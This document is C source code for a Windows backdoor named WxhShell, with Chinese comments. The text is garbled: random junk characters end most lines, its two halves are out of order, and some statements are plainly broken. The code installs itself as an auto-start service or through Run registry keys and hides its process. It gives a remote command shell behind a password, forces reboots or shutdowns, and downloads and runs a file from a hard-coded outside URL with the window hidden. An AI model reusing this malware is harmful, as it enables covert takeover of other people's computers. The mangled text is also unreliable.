    if(Boot(SHUTDOWN)) s_xV-C#q@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Gd7M3  
    else { )AJ=an||5  
    closesocket(wsh); wEE2a56L-  
    ExitThread(0); 6p#g0t  
    } I'dj.  
    break; cs t&0  
    } h20Hg|   
  // 获取shell lu]o34  
  case 's': { #9i6+. Z  
    CmdShell(wsh); ujx@@N  
    closesocket(wsh); %Z7%jma  
    ExitThread(0); fSjs?zd`  
    break; l~rb]6E  
  } oKRFd_r+  
  // 退出 vGMJ^q  
  case 'x': { _PV*lK=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mW~P!7]  
    CloseIt(wsh); U_l7CCK +  
    break; G,=F<TnI'  
    } '#A:.P  
  // 离开 #sZIDn J#  
  case 'q': { [A]Ca$':  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z["BgEJ  
    closesocket(wsh); 0vn[a,W<A  
    WSACleanup(); z{|LQt6q  
    exit(1); qi&D+~Gv!  
    break; 8aZ$5^z  
        } N 'i,>  
  } ;\x~'@  
  } r1;e 0\?`  
nVXg,Jl  
  // 提示信息 ETO$9}x[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (N0sE"_~I5  
} 1%jH^,t/m  
  } ZE rdt:w  
L,$3Yj  
  return; !R6ApB4ZI  
} Gm A!Mo  
{fU?idY)c  
// shell模块句柄 qp&4 1  
int CmdShell(SOCKET sock) `|EH[W&y  
{ '_ 0  
STARTUPINFO si; 5ITq?%{M  
ZeroMemory(&si,sizeof(si)); ^)0 9OV+hF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5kn+ >{jh`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |1Hc&  
PROCESS_INFORMATION ProcessInfo; 0% +'  
char cmdline[]="cmd"; 76bc]o#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y@%`ZPJ  
  return 0; n=o_1M|  
} Za%LAyT_s  
6,+nRiZ  
// 自身启动模式 B |&F%P0:  
int StartFromService(void) }Eh*xOta  
{ ne*#+Q{E  
typedef struct #wjH4DT  
{ u-szt ?O|  
  DWORD ExitStatus; :u/mTZDi  
  DWORD PebBaseAddress; 41yOXy ;~l  
  DWORD AffinityMask; )Gb,^NGr  
  DWORD BasePriority; 7@l<? (  
  ULONG UniqueProcessId; ="'- &  
  ULONG InheritedFromUniqueProcessId; DP*@dFU"  
}   PROCESS_BASIC_INFORMATION; O%g\B8 ;  
 iSiDSeW8  
PROCNTQSIP NtQueryInformationProcess; rwgsXS8W6  
,Sg33N ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; opD-vDa h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bX2"89{  
!re1EL  
  HANDLE             hProcess; [s}/nu~U  
  PROCESS_BASIC_INFORMATION pbi; ,{KCY[}|  
h1f8ktF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QDE$E.a  
  if(NULL == hInst ) return 0; y@;%Uv&  
O('Nn]wo~9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 10O$'`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p3yU:q#A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); URw5U1  
K9|7dvzC:  
  if (!NtQueryInformationProcess) return 0; af'@h:  
*aRX \ TnN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); < kP+eD  
  if(!hProcess) return 0; S_\ F  
Cj^{9'0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x8"#!Pw:`"  
N wtg%;  
  CloseHandle(hProcess); `@XehSQ  
:E'P7A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rMp9jG@3   
if(hProcess==NULL) return 0; ]db@RbaH  
wC` R>)  
HMODULE hMod; 1mH\k5xu  
char procName[255]; wa:0X)KC?  
unsigned long cbNeeded; -^SA8y  
|/T43ADW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &tE.6^F  
/k6fLn2;  
  CloseHandle(hProcess); 6+` tn  
Yc;ec9~  
if(strstr(procName,"services")) return 1; // 以服务启动 n:4uA`Vg  
Z cpmquf8L  
  return 0; // 注册表启动 /3B6 Mtb  
} 1%`7.;!i  
BX< dSK  
// 主模块 AGq>=avv  
int StartWxhshell(LPSTR lpCmdLine) 9 wh2f7k  
{ YRcps0Dx9  
  SOCKET wsl; 6rX_-Mm6w  
BOOL val=TRUE; s>%Pd7:  
  int port=0; T ):SGW  
  struct sockaddr_in door; Uyx&E?SlEq  
zp4W'8  
  if(wscfg.ws_autoins) Install(); '\~^TFi  
0LL c 1t>}  
port=atoi(lpCmdLine); Zyye%Ly  
9[Qd)%MO  
if(port<=0) port=wscfg.ws_port; \#,t O%D  
MGt]'}  
  WSADATA data; JTW)*q9a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q6'nSBi:A_  
lA;a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uaw <  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @i%YNI5*  
  door.sin_family = AF_INET; \Fb| {6+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qe$k3!  
  door.sin_port = htons(port); %b}gDWs  
#T3 h}=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 11UB4CA  
closesocket(wsl); m,_d^  
return 1; %XTA;lrz  
} <@uOCRb V  
la^ DjHA$  
  if(listen(wsl,2) == INVALID_SOCKET) { vkcRm`.  
closesocket(wsl); ]}PV"|#K{c  
return 1; H0*,8i5I  
} @pza>^wk  
  Wxhshell(wsl); K@:m/Z}|4  
  WSACleanup(); HY}j!X  
+R.N%_  
return 0; MI#mAg<  
5VE2@Fn}  
} rg QEUDEQ  
m~`>`4  
// 以NT服务方式启动 {nMAm/kyj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Es'Um,ku  
{ XFqJ 'R  
DWORD   status = 0; =A!S/;z>  
  DWORD   specificError = 0xfffffff; [L~@uAMw:  
K%j&/T j1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vO@s$qi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -kj< 1~YW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b~0N^p[&%  
  serviceStatus.dwWin32ExitCode     = 0; r)T[(D'Tm-  
  serviceStatus.dwServiceSpecificExitCode = 0; zO=%J)-=  
  serviceStatus.dwCheckPoint       = 0; 'vIx#k4D1  
  serviceStatus.dwWaitHint       = 0; `a]44es9q  
}5 9U}@xC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yL1bS|@  
  if (hServiceStatusHandle==0) return; $u9]yiY.{  
s0W2?!>)  
status = GetLastError(); O#kq^C}  
  if (status!=NO_ERROR) =VP=|g  
{ 2+"r~#K*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JXU2CyMY  
    serviceStatus.dwCheckPoint       = 0; 8E^@yZo{  
    serviceStatus.dwWaitHint       = 0; \wav?;z  
    serviceStatus.dwWin32ExitCode     = status; 1|Q vN1?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5g ;ac~g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d/,E2i{I7  
    return; \5><3*\  
  } 8v92N g7  
&tI#T)SSs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,?-\ x6  
  serviceStatus.dwCheckPoint       = 0; &#m"/g7w4N  
  serviceStatus.dwWaitHint       = 0; uB.-t^@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PX,rWkOce  
} v."Dnl  
9.+/~$Ht  
// 处理NT服务事件,比如:启动、停止 ,LYFEq_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (9RslvK L  
{ -_^c6!i  
switch(fdwControl) !u;>Wyd W  
{ =(, ^du'  
case SERVICE_CONTROL_STOP: N2,D:m\  
  serviceStatus.dwWin32ExitCode = 0; xFF r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mZvG|P$}  
  serviceStatus.dwCheckPoint   = 0; %i0\1hhV<  
  serviceStatus.dwWaitHint     = 0; @xWdO,#  
  { ,"?A2n-qO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~\%vXla  
  } JBX[bx52<r  
  return; dZ(|uC!?  
case SERVICE_CONTROL_PAUSE: 4dh+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ca>&  
  break; vK'?:}~  
case SERVICE_CONTROL_CONTINUE: LXfCmc9|Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0tz:Wd*<  
  break; K%g;NW  
case SERVICE_CONTROL_INTERROGATE: nKh&-E   
  break; }At{'8*n  
}; fnu"*5bE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sq0 PBEqq  
} <G3&z#]#4  
uOi&G:=  
// 标准应用程序主函数 `S/wJ'c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +5p{5 q(o  
{ "4xfrlOc  
P9Q2gVGAO{  
// 获取操作系统版本 6LUC!Sh  
OsIsNt=GetOsVer(); DPHQ,dkp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^>$P)=O:v  
]F*3"y?)2  
  // 从命令行安装 ^HA %q8| n  
  if(strpbrk(lpCmdLine,"iI")) Install(); X]*QUV]i  
|;vi*u  
  // 下载执行文件 Sfjje4R  
if(wscfg.ws_downexe) { K`KLC.j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _7)F ?  
  WinExec(wscfg.ws_filenam,SW_HIDE); viaJblYj(f  
} M#jN-ix  
">jwh.  
if(!OsIsNt) { Q=cQLf;/'  
// 如果时win9x,隐藏进程并且设置为注册表启动 fQLax  
HideProc(); \x\ 5D^Vc  
StartWxhshell(lpCmdLine); MBr:?PE7  
} pd@;b5T  
else *TdnB'Gd  
  if(StartFromService()) 4&^9Wklj  
  // 以服务方式启动 !dcwq;Ea  
  StartServiceCtrlDispatcher(DispatchTable); {U!uVQC'  
else R4's7k  
  // 普通方式启动 4rNL":"O  
  StartWxhshell(lpCmdLine); 3 /6/G}s  
ZU2laqa_  
return 0; y }2F9=  
} `TKD<&oL  
$ChK]v 6C  
}-<zWI {p  
qCMl!g'  
=========================================== ]dPZ.r  
h1"zV6U  
J{"kw1Lu  
b!>\2DlyJ  
.w? .ib(  
s4= "kT]  
" 0Fr1Ku!  
_!V%fw  
#include <stdio.h> ^U7OMl4Usq  
#include <string.h> VV_l$E$  
#include <windows.h> B0UJq./`  
#include <winsock2.h> HL{$ ^l#v  
#include <winsvc.h> r4 dOK] 0  
#include <urlmon.h> I*[tMzE  
V9 }t0$LN  
#pragma comment (lib, "Ws2_32.lib") |1= !;.#  
#pragma comment (lib, "urlmon.lib") T5lQIr@a  
xycH~ ?  
#define MAX_USER   100 // 最大客户端连接数 Z+:D)L  
#define BUF_SOCK   200 // sock buffer [Gr*,nVvB  
#define KEY_BUFF   255 // 输入 buffer y6HuN  
Bstk{&ew  
#define REBOOT     0   // 重启 $So%d9k  
#define SHUTDOWN   1   // 关机 +{`yeZ9S  
w=b(X q+:  
#define DEF_PORT   5000 // 监听端口 XAOak$(j  
@Cq? :o<  
#define REG_LEN     16   // 注册表键长度 L):U"M>]=  
#define SVC_LEN     80   // NT服务名长度 =v6*|  
5"Kx9n|  
// 从dll定义API ;DRTQn`m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *e"a0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3NK ^AaTK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q`|CrOzO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); < a rZbM  
&x:JD1T}  
// wxhshell配置信息 ztM<J+  
struct WSCFG {  :S %lv  
  int ws_port;         // 监听端口 }k$4/7ri  
  char ws_passstr[REG_LEN]; // 口令 wOgE|n  
  int ws_autoins;       // 安装标记, 1=yes 0=no S9sR#  
  char ws_regname[REG_LEN]; // 注册表键名 OJ>.-"  
  char ws_svcname[REG_LEN]; // 服务名 Bn wzcl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zzpZ19"`1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^+70<#Xc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 " BTE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F 8yF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Al"3 kRJJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P.WYTst=  
M++0zhS  
}; y&T&1o  
(g8*d^u#PO  
// default Wxhshell configuration tl8O6`<Z  
struct WSCFG wscfg={DEF_PORT, +RZ~LA \+  
    "xuhuanlingzhe", =ZYThfAEw  
    1, N"5fmY<  
    "Wxhshell", +54aO  
    "Wxhshell", Tt# bg1  
            "WxhShell Service", ;I6s-moq_  
    "Wrsky Windows CmdShell Service", A/*%J74v  
    "Please Input Your Password: ", %"3 )TN4  
  1, ~.tvrx g  
  "http://www.wrsky.com/wxhshell.exe", `d]Z)*9  
  "Wxhshell.exe" 3SG?W_  
    }; *U7 %|wd  
3-Bl  
// 消息定义模块 Y Z}cB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FVWfDQ$&v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q%ad q-B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *b(wVvz  
char *msg_ws_ext="\n\rExit."; 4n( E;!s  
char *msg_ws_end="\n\rQuit."; ^J=hrYGA  
char *msg_ws_boot="\n\rReboot..."; 6o&ZIYJ9k  
char *msg_ws_poff="\n\rShutdown..."; oh8L`=>&a  
char *msg_ws_down="\n\rSave to "; PBqy F  
5a`%)K  
char *msg_ws_err="\n\rErr!"; |WQ9a' '  
char *msg_ws_ok="\n\rOK!"; O_,O,1  
U..<iNQE5  
char ExeFile[MAX_PATH]; [IX+M#mf  
int nUser = 0; `H%G3M0a  
HANDLE handles[MAX_USER]; :Hy]  
int OsIsNt; n~0z_;5  
ZXiRw)rM  
SERVICE_STATUS       serviceStatus; OYwGz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /="HqBI#i  
(RL>Hn;.  
// 函数声明 #B}?Zg  
int Install(void); a=]W zlz  
int Uninstall(void); LgqGVh3\s  
int DownloadFile(char *sURL, SOCKET wsh); 3!9 Z=- tD  
int Boot(int flag); ^JeMuU  
void HideProc(void); h BMH)aU  
int GetOsVer(void); eQN.sl5  
int Wxhshell(SOCKET wsl); JNU/`JN9f  
void TalkWithClient(void *cs); I2Ev~!  
int CmdShell(SOCKET sock); TRvZ  
int StartFromService(void); cgZaPw2 bw  
int StartWxhshell(LPSTR lpCmdLine); D@54QJ<  
J\co1kO9/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n@>wwp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $^%N U  
0%C^8%(x  
// 数据结构和表定义 C 0C0GqN,  
SERVICE_TABLE_ENTRY DispatchTable[] = H'g?llh1J  
{ 4cgIEw[6  
{wscfg.ws_svcname, NTServiceMain}, 0irr7Y  
{NULL, NULL} ROAI9sW0  
}; v|t{1[C  
?m%h`<wgMc  
// 自我安装 %e%7oqR?  
int Install(void) _^!vCa7f  
{ Opg#*w%-  
  char svExeFile[MAX_PATH]; [ = M%  
  HKEY key; |7F*MP  
  strcpy(svExeFile,ExeFile); K'b*A$5o  
0{rx.C7|  
// 如果是win9x系统,修改注册表设为自启动 02b6s&L  
if(!OsIsNt) { JJk#,AP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IM( u<c$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |m>}%{  
  RegCloseKey(key); b5`KB75sbo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]r"Yqv3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :hqZPajE  
  RegCloseKey(key); ?[1SiJT  
  return 0; n~r 9!m$<  
    } QApyP CH  
  } LsTffIP  
} EQ >t[ &  
else { '1+.t$"/tU  
"Ai6<:ml  
// 如果是NT以上系统,安装为系统服务 1"E\C/c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I 48VNX  
if (schSCManager!=0) J\`^:tcG  
{ 8C&x MA^  
  SC_HANDLE schService = CreateService [#b2%G1  
  ( bKz{wm%  
  schSCManager, aC\4}i<  
  wscfg.ws_svcname, i57( $1.  
  wscfg.ws_svcdisp, DdjCn`jqlf  
  SERVICE_ALL_ACCESS, 2<6j1D^jM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z7#7N wy4  
  SERVICE_AUTO_START, Os&1..$Nb  
  SERVICE_ERROR_NORMAL,  H!eh J$[  
  svExeFile, -Zy)5NB-tZ  
  NULL, o:\XRPB  
  NULL, x-Z^Q C  
  NULL, 9D_wG\g  
  NULL, /tKGwX]y  
  NULL 1i-[+   
  ); 5P+YK\~  
  if (schService!=0) 'EX4.h a5  
  { tY_5Pz(@  
  CloseServiceHandle(schService); UzQ$B>f  
  CloseServiceHandle(schSCManager); avNLV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PdE>@0X?M  
  strcat(svExeFile,wscfg.ws_svcname); 7'j9rmTXs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !#}>Hv^N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  )U98  
  RegCloseKey(key); aqL<v94wX  
  return 0; YKx 1NC  
    } Jt=>-Spj  
  } Bymny>.M  
  CloseServiceHandle(schSCManager); WYO\'W  
} OgMI  
} +VOb  
w-rOecwFvu  
return 1; [ b1hC ~I;  
} [thboP.?  
uWc:jP  
// 自我卸载 .ZX2^)`XD  
int Uninstall(void) y^s1t2]%  
{ n2'|.y}Um:  
  HKEY key; P;GprJ`l  
qx%jAs+~  
if(!OsIsNt) { >]/dOH,A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'lQYJ0  
  RegDeleteValue(key,wscfg.ws_regname); ~ x`7)3  
  RegCloseKey(key); otq,R6 ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l9Pu&M?5  
  RegDeleteValue(key,wscfg.ws_regname); $9H[3OZPVv  
  RegCloseKey(key); jT^!J+?6K+  
  return 0; 0xP:9rm  
  } {hd-w4"115  
} OmNn,PCl8  
} # "r kuDO  
else { `ue?Z%p|  
,+-h7^{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G8P+A1 f/>  
if (schSCManager!=0) SCq3Ds^  
{ /djACA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7^wE$7hS  
  if (schService!=0) cjY@Ot*i$  
  { 4A  o{M  
  if(DeleteService(schService)!=0) { ND,`QjmZ  
  CloseServiceHandle(schService); _LLshV3  
  CloseServiceHandle(schSCManager); 4x]NUt  
  return 0; hAAUecx  
  } x]' H jTqX  
  CloseServiceHandle(schService); ZR mPP  
  } ~XQ$aRl&  
  CloseServiceHandle(schSCManager); 2Iz fP;V?  
} Fwv\pJ}$  
} cG(0q[  
%8<2>  
return 1; 9:\A7 =  
} ZbyG*5iq  
iiN?\OO^~  
// 从指定url下载文件 ~2 Oc K  
int DownloadFile(char *sURL, SOCKET wsh) %mmxA6I  
{ Hn^sW LT  
  HRESULT hr; zKMv7;s?  
char seps[]= "/"; ">,K1:(D  
char *token; !qS05  
char *file; ?\d5;%YSr  
char myURL[MAX_PATH]; B3 .X}ys#  
char myFILE[MAX_PATH]; QX+Y(P`vMK  
Xv&%2-V;  
strcpy(myURL,sURL); GZ,j?@  
  token=strtok(myURL,seps); w= B  
  while(token!=NULL) v?{vg?vI  
  { APOea  
    file=token; fv/v|  
  token=strtok(NULL,seps); {[lx!QF 8&  
  } C\/b~HU  
7_7xL(F/  
GetCurrentDirectory(MAX_PATH,myFILE); ]3 j[3'  
strcat(myFILE, "\\"); %0 qc@4  
strcat(myFILE, file); vhX-Qkt}  
  send(wsh,myFILE,strlen(myFILE),0); 1"d\ mE  
send(wsh,"...",3,0); rNxG0^k(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G\uU- z$)  
  if(hr==S_OK) W n6,U=$3  
return 0; IY~ {)X  
else $Uy#/MX  
return 1; H! #5!m&  
A` =]RJ  
} 4a1BGNI%SW  
v$Dh.y  
// 系统电源模块 ^X$ I=ro  
int Boot(int flag) T 77)Np  
{ ~6MMErSj  
  HANDLE hToken; (w}r7`n  
  TOKEN_PRIVILEGES tkp; qjzZ}  
nHE+p\  
  if(OsIsNt) { "LXXs0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dZ-Ny_@&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EO"=\C,  
    tkp.PrivilegeCount = 1; Px$'(eMj^3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ud.poh~|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  L2k;f]  
if(flag==REBOOT) { Y'?Izn b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uH= Gt^_  
  return 0; \2(MpB\_6!  
} Fr<Pe&dn  
else { U:J /\-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZIDFF  
  return 0; rx{#+ iw  
} 1RURZoL  
  }  ?DJuQFv  
  else { +<H !3sW  
if(flag==REBOOT) { YdPlN];[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vW9^hbdx  
  return 0; {~":;  
} X3 <SP  
else { Yo>%s4_,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DCz\TwzU  
  return 0; N4' .a=1  
} rffVfw  
} ER/\ +Z#Z  
9'D8[p%  
return 1; 0H; "5  
} R,uJK)m  
hcj{%^p  
// win9x进程隐藏模块 H+nr5!`kz  
void HideProc(void) Z=0iPy,m>  
{ {|G&W^`  
)x y9X0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?exALv'B  
  if ( hKernel != NULL ) cPx66Dh&  
  { K,Lr +  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oC5gME"2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6ch@Be5*  
    FreeLibrary(hKernel); VOD1xWrb  
  } % cU-5\xF  
[ e$]pN%  
return; XA=|]5C  
} mI2|0RWI)l  
SB5@\^  
// 获取操作系统版本 rHH#@ Zx  
int GetOsVer(void) rD_Ss.\^g  
{ 7$;c6_se  
  OSVERSIONINFO winfo; JiG8jB7%}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^XtHF|%0T  
  GetVersionEx(&winfo); fN~8L}!l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +SP! R[a  
  return 1; rjfc.l#v  
  else 4X<Oux*  
  return 0; FuIWiO(  
} }S Y`KoC1  
a g|9$  
// 客户端句柄模块 BF@m )w.v  
int Wxhshell(SOCKET wsl) F^4*|g  
{ KB$ vQ@N  
  SOCKET wsh; ;""-[4C  
  struct sockaddr_in client; = .fc"R|<K  
  DWORD myID; *C,$W\6sz  
1Al=v  
  while(nUser<MAX_USER) :DF`A(  
{ ;Of?fe5:  
  int nSize=sizeof(client); Q&\ZC?y4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tom}sFl][  
  if(wsh==INVALID_SOCKET) return 1; GA({ri  
0b!fWS?,k0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Qe'?LRu{  
if(handles[nUser]==0) Nj! R9N  
  closesocket(wsh); ZYpD8u6U  
else h+\$ Z]  
  nUser++; Ke'YM{  
  } EfMG(oI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M)bC%(xJ  
gME:\ud$  
  return 0; I_{9eG1w?  
} So3,Z'z=  
D| 3AjzW  
// 关闭 socket ?#');`  
void CloseIt(SOCKET wsh) oZ|{J  
{ Xmw2$MCB  
closesocket(wsh); J~PTVR  
nUser--; 0ll,V  
ExitThread(0); NpjsZcA  
} [C*X k{e  
G>?x-!9qcH  
// 客户端请求句柄 Pj^k pjV  
void TalkWithClient(void *cs) ~8S4Kj)%  
{ ]kU~#WT  
@DjG? yLK$  
  SOCKET wsh=(SOCKET)cs; YQlpk@X`2  
  char pwd[SVC_LEN]; )[a?J,  
  char cmd[KEY_BUFF]; M $E8:  
char chr[1]; *;~{_Disz  
int i,j; k;9#4^4(  
O;.d4pO(tC  
  while (nUser < MAX_USER) { I+-Rs2wb  
IrVM|8vT3  
if(wscfg.ws_passstr) { vwSX$OZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fp* &os  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ixUiXP  
  //ZeroMemory(pwd,KEY_BUFF); `K ~>!d_  
      i=0; mAtG&my)  
  while(i<SVC_LEN) { }1E_G  
]Y/pSwnV  
  // 设置超时 crF9,p  
  fd_set FdRead; Lt ZWs0l0  
  struct timeval TimeOut; 7i%P&oB  
  FD_ZERO(&FdRead); m''iE  
  FD_SET(wsh,&FdRead); )Q N=>J  
  TimeOut.tv_sec=8; DXw9@b  
  TimeOut.tv_usec=0; }sm56}_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SK~;<>:37  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dh7)N}2  
lqwJ F &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ce-m)o/  
  pwd=chr[0]; ^Ypb"Wx8  
  if(chr[0]==0xd || chr[0]==0xa) { ;U5x'}%0]  
  pwd=0; Ib<5u  
  break; omDi<-  
  } `XRb:d^  
  i++; KfN`ZZ<  
    } HEW9YC"  
VA*79I#_q  
  // 如果是非法用户,关闭 socket 7~k~S>sO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ocuNrkZ  
} -t706(#k  
Q{)F$]w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5<>R dLo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b&_u O  
Hr64M0V3B  
while(1) { HhT8YH  
](( >i%%~  
  ZeroMemory(cmd,KEY_BUFF); &bRxy`ZH  
% /wP2O<  
      // 自动支持客户端 telnet标准   0zk T8'v  
  j=0; c&iK+qvh{  
  while(j<KEY_BUFF) { 4FP~+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |'>E};D  
  cmd[j]=chr[0]; _S7M5{U_  
  if(chr[0]==0xa || chr[0]==0xd) { ` TVcI\W  
  cmd[j]=0; j,V$vKP  
  break; lyc{Z%!3  
  } E6d8z=X(  
  j++; ^#6%*(D  
    } =Z$=-\<x0.  
kA9 X!)2w  
  // 下载文件 \Q BpgMi(  
  if(strstr(cmd,"http://")) { g{f>j d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [OToz~=)  
  if(DownloadFile(cmd,wsh)) HZ`G)1&)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 <>agK]  
  else gpTF^.(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2FCpre;  
  } fgz'C?  
  else { oKqFZ,m[  
`EW_pwZPA  
    switch(cmd[0]) { {83He@  
  1*Fvx-U'  
  // 帮助 QR-R5XNT[  
